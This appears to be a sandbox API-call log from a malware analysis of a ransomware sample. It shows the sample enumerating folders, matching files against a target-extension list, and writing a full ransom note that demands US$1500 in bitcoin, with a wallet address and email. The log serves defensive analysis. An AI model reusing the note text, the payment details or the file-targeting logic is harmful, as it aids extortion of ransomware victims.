[0103.142] lstrlenA (lpString="*.edb") returned 5 [0103.142] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.accdb") returned 0 [0103.142] lstrlenA (lpString="*.accdb") returned 7 [0103.142] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.odb") returned 0 [0103.142] lstrlenA (lpString="*.odb") returned 5 [0103.142] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.java") returned 0 [0103.142] lstrlenA (lpString="*.java") returned 6 [0103.142] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.asm") returned 0 [0103.142] lstrlenA (lpString="*.asm") returned 5 [0103.142] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.pfx") returned 0 [0103.143] lstrlenA (lpString="*.pfx") returned 5 [0103.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.pem") returned 0 [0103.143] lstrlenA (lpString="*.pem") returned 5 [0103.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.p12") returned 0 [0103.143] lstrlenA (lpString="*.p12") returned 5 [0103.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.gpg") returned 0 [0103.143] lstrlenA (lpString="*.gpg") returned 5 [0103.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.vsd") returned 0 [0103.143] lstrlenA (lpString="*.vsd") returned 5 [0103.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.odg") returned 0 [0103.143] lstrlenA (lpString="*.odg") returned 5 [0103.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.raw") returned 0 [0103.143] lstrlenA (lpString="*.raw") returned 5 [0103.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.nef") returned 0 [0103.143] lstrlenA (lpString="*.nef") returned 5 [0103.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.svg") returned 0 [0103.143] lstrlenA (lpString="*.svg") returned 5 [0103.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.psd") returned 0 [0103.144] lstrlenA (lpString="*.psd") returned 5 [0103.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.vmx") returned 0 [0103.144] lstrlenA (lpString="*.vmx") returned 5 [0103.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.vmdk") returned 0 [0103.144] lstrlenA (lpString="*.vmdk") returned 6 [0103.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.vdi") returned 0 [0103.144] lstrlenA (lpString="*.vdi") returned 5 [0103.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.lay6") returned 0 [0103.144] lstrlenA (lpString="*.lay6") returned 6 [0103.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.mpeg") returned 0 [0103.144] lstrlenA (lpString="*.mpeg") returned 6 [0103.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.djvu") returned 0 [0103.144] lstrlenA (lpString="*.djvu") returned 6 [0103.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.tiff") returned 0 [0103.144] lstrlenA (lpString="*.tiff") returned 6 [0103.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.backup") returned 0 [0103.144] lstrlenA (lpString="*.backup") returned 8 [0103.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.pdf") returned 0 [0103.145] lstrlenA (lpString="*.pdf") returned 5 [0103.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.cert") returned 0 [0103.145] lstrlenA (lpString="*.cert") returned 6 [0103.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.docm") returned 0 [0103.145] lstrlenA (lpString="*.docm") returned 6 [0103.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.xlsm") returned 0 [0103.145] lstrlenA (lpString="*.xlsm") returned 6 [0103.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.dwg") returned 0 [0103.145] lstrlenA (lpString="*.dwg") returned 5 [0103.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.nd") returned 0 [0103.145] lstrlenA (lpString="*.nd") returned 4 [0103.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.tlg") returned 0 [0103.145] lstrlenA (lpString="*.tlg") returned 5 [0103.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.lgb") returned 0 [0103.145] lstrlenA (lpString="*.lgb") returned 5 [0103.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.mov") returned 0 [0103.145] lstrlenA (lpString="*.mov") returned 5 [0103.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.xdw") returned 0 [0103.146] lstrlenA (lpString="*.xdw") returned 5 [0103.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.ods") returned 0 [0103.146] lstrlenA (lpString="*.ods") returned 5 [0103.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.wav") returned 0 [0103.146] lstrlenA (lpString="*.wav") returned 5 [0103.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.mp3") returned 0 [0103.146] lstrlenA (lpString="*.mp3") returned 5 [0103.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.aiff") returned 0 [0103.146] lstrlenA (lpString="*.aiff") returned 6 [0103.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.flac") returned 0 [0103.146] lstrlenA (lpString="*.flac") returned 6 [0103.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.m4a") returned 0 [0103.146] lstrlenA (lpString="*.m4a") returned 5 [0103.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.csv") returned 0 [0103.146] lstrlenA (lpString="*.csv") returned 5 [0103.146] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45683ba0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x45683ba0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x45683ba0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0103.147] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0103.147] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44541c20, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x44541c20, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x44541c20, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="99b47ff04b25e114b6dd8dc8e0ae9f5c", cAlternateFileName="99B47F~1")) returned 1 [0103.147] lstrcmpA (lpString1=".", lpString2="99b47ff04b25e114b6dd8dc8e0ae9f5c") returned -1 [0103.147] lstrcmpA (lpString1="..", lpString2="99b47ff04b25e114b6dd8dc8e0ae9f5c") returned -1 [0103.147] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\*.*") returned="*.*" [0103.147] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\", lpString2="99b47ff04b25e114b6dd8dc8e0ae9f5c" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c" [0103.147] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c") returned 100 [0103.147] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44541c20, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x44541c20, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x44541c20, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0103.148] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.148] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44541c20, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x44541c20, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x44541c20, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.148] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.148] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.148] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43a657c0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x43a657c0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x444cf800, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0103.148] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0103.148] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll") returned -1 [0103.149] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll") returned -1 [0103.149] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll") returned -1 [0103.149] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\*.*") returned="*.*" [0103.149] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\" [0103.149] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\") returned="" [0103.149] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\HOW TO DECRYPT FILES.txt" [0103.149] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\how to decrypt files.txt")) returned 0xffffffff [0103.149] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0103.152] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0103.153] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0103.154] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0103.155] CloseHandle (hObject=0x90) returned 1 [0103.155] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\", lpString2="Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll" [0103.155] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.ems") returned 0 [0103.155] lstrlenA (lpString="*.ems") returned 5 [0103.155] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.db") returned 0 [0103.155] lstrlenA (lpString="*.db") returned 4 [0103.155] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.dbf") returned 0 [0103.155] lstrlenA (lpString="*.dbf") returned 5 [0103.155] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.myox") returned 0 [0103.155] lstrlenA (lpString="*.myox") returned 6 [0103.155] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.myo") returned 0 [0103.155] lstrlenA (lpString="*.myo") returned 5 [0103.155] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.qbw") returned 0 [0103.155] lstrlenA (lpString="*.qbw") returned 5 [0103.155] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.qbb") returned 0 [0103.155] lstrlenA (lpString="*.qbb") returned 5 [0103.156] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.qbm") returned 0 [0103.156] lstrlenA (lpString="*.qbm") returned 5 [0103.156] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.qbo") returned 0 [0103.156] lstrlenA (lpString="*.qbo") returned 5 [0103.156] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.qbx") returned 0 [0103.156] lstrlenA (lpString="*.qbx") returned 5 [0103.156] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.qba") returned 0 [0103.156] lstrlenA (lpString="*.qba") returned 5 [0103.156] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.qby") returned 0 [0103.156] lstrlenA (lpString="*.qby") returned 5 [0103.156] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.qbj") returned 0 [0103.156] lstrlenA (lpString="*.qbj") returned 5 [0103.156] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.ofx") returned 0 [0103.156] lstrlenA (lpString="*.ofx") returned 5 [0103.156] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.qif") returned 0 [0103.156] lstrlenA (lpString="*.qif") returned 5 [0103.156] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.mye") returned 0 [0103.157] lstrlenA (lpString="*.mye") returned 5 [0103.157] PathMatchSpecA 